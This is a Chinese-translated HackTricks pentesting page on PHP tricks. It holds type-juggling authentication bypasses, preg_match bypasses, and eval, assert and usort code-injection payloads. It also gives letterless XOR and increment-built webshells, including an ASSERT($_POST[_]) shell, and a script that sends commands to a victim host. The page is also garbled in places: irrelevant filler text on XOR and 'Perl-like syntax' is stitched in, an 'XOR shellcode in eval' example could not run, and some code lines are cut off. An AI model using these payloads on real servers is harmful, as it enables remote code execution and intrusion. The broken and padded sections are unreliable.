hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2023-08-03 19:12:22 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated to Chinese 2023-08-03 19:12:22 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to Chinese 2023-08-03 19:12:22 +00:00
php-ssrf.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated to Chinese 2023-08-03 19:12:22 +00:00

PHP 技巧

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Cookies 常见位置:

这也适用于 phpMyAdmin 的 cookies。

Cookies:

PHPSESSID
phpMyAdmin

位置:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

绕过PHP比较

弱比较/类型转换(==

如果在PHP中使用==,则会出现意外情况,比较的行为与预期不符。这是因为"=="只比较转换为相同类型的值,如果您还想比较所比较数据的类型是否相同,您需要使用===

PHP比较表https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True 以非数字开头的字符串等于数字
  • "0xAAAA" == "43690" -> True 由十进制或十六进制格式组成的字符串可以与其他数字/字符串进行比较如果数字相同则结果为True字符串中的数字被解释为数字
  • "0e3264578" == 0 --> True 以"0e"开头并后跟任何内容的字符串将等于0
  • "0X3264578" == 0X --> True 以"0"开头并后跟任何字母X可以是任何字母和任何内容的字符串将等于0
  • "0e12334" == "0" --> True 这非常有趣,因为在某些情况下,您可以控制以"0"开头且没有任何字母的字符串输入以及正在与其进行比较的某些内容的哈希。因此,如果您可以提供一个值,该值将创建以"0e"开头且没有任何字母的哈希,您可以绕过比较。您可以在此处找到具有此格式的已哈希字符串https://github.com/spaze/hashes
  • "X" == 0 --> True 字符串中的任何字母都等于整数0

更多信息请参见https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

类型转换也会影响到in_array()函数的默认行为您需要将第三个参数设置为true以进行严格比较

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

如果这个函数用于任何身份验证检查(比如检查密码),并且用户控制比较的一方,他可以发送一个空数组作为密码的值(https://example.com/login.php/?username=admin&password[]=),从而绕过这个检查:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp()也会出现相同的错误。

严格类型转换

即使使用了===,仍然可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较在比较之前将数据转换为不同类型的对象:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match()可以用来验证用户输入(它会检查用户输入中是否存在黑名单中的任何单词/正则表达式,如果不存在,代码可以继续执行)。

换行绕过

然而,当定界正则表达式的开头时,preg_match()只会检查用户输入的第一行,所以如果你可以以多行的方式发送输入,你就可以绕过这个检查。例如:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

为了绕过这个检查,你可以使用换行符进行URL编码%0A)发送值,或者如果你可以发送JSON数据,可以将其分成多行发送:

{
"cmd": "cat /etc/passwd"
}

在这里找到一个例子:https://ramadistra.dev/fbctf-2019-rceservice

长度错误绕过

(这个绕过似乎是在 PHP 5.2.5 上尝试过的,我无法在 PHP 7.3.15 上使其工作)
如果你能向 preg_match() 发送一个有效的非常大的输入,它将无法处理它,从而使你能够绕过检查。例如,如果它在黑名单中列出了一个 JSON你可以发送

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'

PHP混淆的类型转换

Type juggling is a technique used in PHP to obfuscate code and make it harder to understand. It involves manipulating the data types of variables in order to perform unexpected operations.

类型转换是PHP中一种用于混淆代码并增加理解难度的技术。它涉及操作变量的数据类型以执行意外的操作。

In PHP, variables do not have a fixed data type and can be dynamically changed based on the context in which they are used. This flexibility can be exploited to perform type juggling attacks.

在PHP中变量没有固定的数据类型并且可以根据使用的上下文动态更改。这种灵活性可以被利用来执行类型转换攻击。

Type juggling attacks involve manipulating the data types of variables in order to bypass input validation checks or perform unexpected operations. For example, a string that starts with a numeric value can be automatically converted to a number when used in a mathematical operation.

类型转换攻击涉及操作变量的数据类型,以绕过输入验证检查或执行意外操作。例如,当在数学运算中使用以数字值开头的字符串时,它会自动转换为数字。

This can be used to bypass input validation checks that expect a specific data type. For example, if a web application expects a numeric input, an attacker can provide a string that starts with a number to bypass the validation check.

这可以用于绕过期望特定数据类型的输入验证检查。例如如果Web应用程序期望数字输入攻击者可以提供以数字开头的字符串以绕过验证检查。

Type juggling attacks can also be used to perform unexpected operations. For example, by manipulating the data types of variables, an attacker can concatenate a string with a numeric value, resulting in unintended behavior.

类型转换攻击还可以用于执行意外操作。例如,通过操作变量的数据类型,攻击者可以将字符串与数字值连接起来,导致意外行为。

To protect against type juggling attacks, it is important to ensure that input validation checks are performed correctly and that the expected data types are enforced.

为了防止类型转换攻击,重要的是确保正确执行输入验证检查并强制执行预期的数据类型。

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

执行重定向后 (EAR)

如果 PHP 正在重定向到另一个页面,但在设置了头部的 Location 后没有调用 dieexit 函数PHP 将继续执行并将数据附加到正文中:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

更多技巧

  • register_globals: 在 PHP < 4.1.1.1 版本中,或者配置错误的情况下,可能会启用 register_globals(或者其行为被模仿)。这意味着在全局变量中,比如 $_GET如果它们有一个值比如 $_GET["param"]="1234",你可以通过 $param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量
  • 同一域名下的 PHPSESSION cookies 存储在同一个位置,因此如果在一个域名下的 不同路径使用不同的 cookies,你可以使一个路径 访问另一个路径的 cookie,设置另一个路径 cookie 的值。
    这样,如果 两个路径都访问同名的变量你可以使该变量在路径1中的值应用到路径2中。然后路径2将接受路径1的变量为有效通过给 cookie 赋予在路径2中对应的名称
  • 当你拥有机器上用户的 用户名 时,检查地址:/~<USERNAME>,看看是否激活了 php 目录。
  • 使用 php 包装器进行 LFI 和 RCE

password_hash/password_verify

这些函数通常用于 PHP 中从密码生成哈希值,并且用于与哈希值比较以检查密码是否正确。
支持的算法有:PASSWORD_DEFAULTPASSWORD_BCRYPT(以 $2y$ 开头)。请注意,PASSWORD_DEFAULT 经常与 PASSWORD_BCRYPT 相同。目前,PASSWORD_BCRYPT 对输入的大小有一个限制,最多为 72 字节。因此,当你尝试使用此算法对大于 72 字节的内容进行哈希时,只有前 72 字节会被使用:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP头绕过滥用PHP错误

如果一个PHP页面正在打印错误并回显用户提供的一些输入用户可以使PHP服务器打印回一些足够长的内容以便当它尝试将头部添加到响应时服务器会抛出错误。
在下面的场景中攻击者使服务器抛出了一些大错误正如你在屏幕上看到的当PHP尝试修改头部信息时它无法做到例如CSP头部未发送给用户

代码执行

system("ls");
`ls`;
shell_exec("ls");

查看更多有用的PHP函数

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

在"replace"参数中执行代码需要至少一个匹配项。
这个preg_replace选项已经在PHP 5.5.0中被弃用

使用Eval()执行代码

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

使用Assert()执行代码

这个php函数允许你执行以字符串形式编写的代码以返回true或false并根据此来改变执行方式。通常用户变量会被插入到字符串的中间。例如
assert("strpos($_GET['page']),'..') === false") --> 在这种情况下,为了获得远程代码执行RCE,你可以这样做:

?page=a','NeVeR') === false and system('ls') and strpos('a

您需要破坏代码语法添加您的有效载荷,然后再修复它。您可以使用逻辑操作,例如"and"或"%26%26"或"|"。请注意,"or"、"||"不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,";"也不起作用,因为我们的有效载荷不会被执行。

另一种选择是在字符串中添加命令的执行:'.highlight_file('.passwd').'

另一种选择(如果您有内部代码)是修改某些变量以更改执行方式:$file = "hola"

使用usort()执行代码

此函数用于使用特定函数对项目数组进行排序。
要滥用此函数:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

您还可以使用**//**来注释代码的其余部分。

要发现您需要关闭的括号数:

  • ?order=id;}//:我们收到一个错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。
  • ?order=id);}//:我们收到一个警告。这似乎是正确的。
  • ?order=id));}//:我们收到一个错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的闭合括号。

通过.httaccess执行代码

如果您可以上传一个**.htaccess文件,那么您可以配置多个内容,甚至可以执行代码(配置扩展名为.htaccess的文件可以执行**)。

可以在这里找到不同的.htaccess shell。

PHP静态分析

查看是否可以在对这些函数的调用中插入代码(来自这里

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

如果您正在调试一个PHP应用程序您可以在/etc/php5/apache2/php.ini中添加display_errors = On来全局启用错误打印并重新启动apachesudo systemctl restart apache2

解密PHP代码

您可以使用www.unphp.net来解密PHP代码。

PHP包装器和协议

PHP包装器和协议可以让您绕过系统中的写入和读取保护并对其进行破坏。有关更多信息,请查看此页面

Xdebug未经身份验证的RCE

如果您在phpconfig()输出中看到Xdebug已启用,您应该尝试通过https://github.com/nqxcode/xdebug-exploit获取RCE。

变量变量

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

滥用新的 $_GET["a"]($_GET["b"]) 实现远程代码执行

如果在一个页面中,你可以创建一个任意类的新对象,那么你可能能够实现远程代码执行,请查看以下页面以了解详情:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

无需字母执行 PHP

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

使用八进制

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

异或XOR

The XOR operation, also known as exclusive OR, is a logical operation that outputs true only when the number of true inputs is odd. In other words, it returns true if the inputs are different, and false if they are the same.

异或XOR操作也被称为“异或”是一种逻辑操作只有在输入为真的数量为奇数时才输出真。换句话说如果输入不同则返回真如果输入相同则返回假。

The XOR operation can be used in various applications, including encryption, error detection, and data manipulation. In the context of hacking, XOR can be used to obfuscate data or bypass certain security measures.

异或操作可以用于各种应用,包括加密、错误检测和数据操作。在黑客攻击的背景下,异或可以用于混淆数据或绕过某些安全措施。

In the field of cryptography, XOR is commonly used as a basic building block for more complex encryption algorithms. It provides a simple and efficient way to scramble data, making it difficult for unauthorized individuals to understand or access.

在密码学领域,异或通常被用作更复杂的加密算法的基本构建块。它提供了一种简单高效的方式来混淆数据,使得未经授权的个人难以理解或访问。

In the context of network security, XOR can be used to bypass certain security measures that rely on specific patterns or signatures. By XORing a payload with a specific key or pattern, an attacker can modify the payload in a way that evades detection by security systems.

在网络安全的背景下,异或可以用于绕过依赖特定模式或签名的某些安全措施。通过将有效负载与特定密钥或模式进行异或运算,攻击者可以修改有效负载,以逃避安全系统的检测。

Overall, XOR is a versatile operation that can be used in various hacking techniques to manipulate data, bypass security measures, or obfuscate information. Understanding how XOR works is essential for both offensive and defensive purposes in the field of cybersecurity.

总的来说,异或是一种多功能的操作,可以在各种黑客技术中用于操作数据、绕过安全措施或混淆信息。了解异或的工作原理对于网络安全领域的攻击和防御都是至关重要的。

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR简易shell代码

根据这篇解析可以通过以下方式生成一个简易的shellcode

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

所以,如果你可以执行任意的PHP代码而不使用数字和字母你可以发送如下请求来滥用该有效负载来执行任意的PHP代码

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

XOR Shellcode在eval内部

<?php
$shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
$key = "\x41";
$encoded_shellcode = "";
for ($i = 0; $i < strlen($shellcode); $i++) {
    $encoded_shellcode .= chr(ord($shellcode[$i]) ^ ord($key));
}
eval($encoded_shellcode);
?>

该技巧使用了异或XOR加密算法来隐藏Shellcode。在这个例子中我们使用了一个简单的Shellcode它执行了一个系统调用来执行/bin/sh。然后我们使用一个密钥在这个例子中是"A"对Shellcode进行异或加密。加密后的Shellcode被存储在变量$encoded_shellcode中。最后,我们使用eval函数来执行加密后的Shellcode。

这种技术的好处是可以绕过一些简单的检测机制因为加密后的Shellcode在内存中是不可读的。然而这种加密方法并不是完全安全的因为密钥可以被轻松地推导出来。因此这种技术主要适用于一些简单的场景而不是用于真正的渗透测试或攻击。

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

类似 Perl 的语法

Perl 是一种通用的脚本编程语言,具有强大的文本处理能力和灵活的语法。在编写 PHP 代码时,可以使用一些类似 Perl 的语法来提高代码的效率和可读性。

正则表达式

正则表达式是一种强大的模式匹配工具,可以在字符串中查找和替换特定的模式。在 PHP 中,可以使用 Perl 兼容的正则表达式语法来进行字符串操作。

// 匹配邮箱地址
$email = "example@example.com";
if (preg_match("/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/", $email)) {
    echo "邮箱地址有效";
} else {
    echo "邮箱地址无效";
}

字符串操作

Perl 提供了丰富的字符串操作函数PHP 也可以使用类似的函数来处理字符串。

// 字符串拼接
$name = "John";
$age = 25;
$message = $name . " is " . $age . " years old.";

// 字符串分割
$csv = "apple,banana,orange";
$fruits = explode(",", $csv);

// 字符串替换
$text = "Hello, World!";
$newText = str_replace("Hello", "Hi", $text);

数组操作

Perl 的数组操作非常灵活PHP 也提供了类似的功能。

// 创建数组
$fruits = array("apple", "banana", "orange");

// 访问数组元素
echo $fruits[0]; // 输出 "apple"

// 添加元素到数组末尾
$fruits[] = "grape";

// 遍历数组
foreach ($fruits as $fruit) {
    echo $fruit . " ";
}

通过使用类似 Perl 的语法,可以更加高效地编写 PHP 代码,并提升代码的可读性和维护性。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥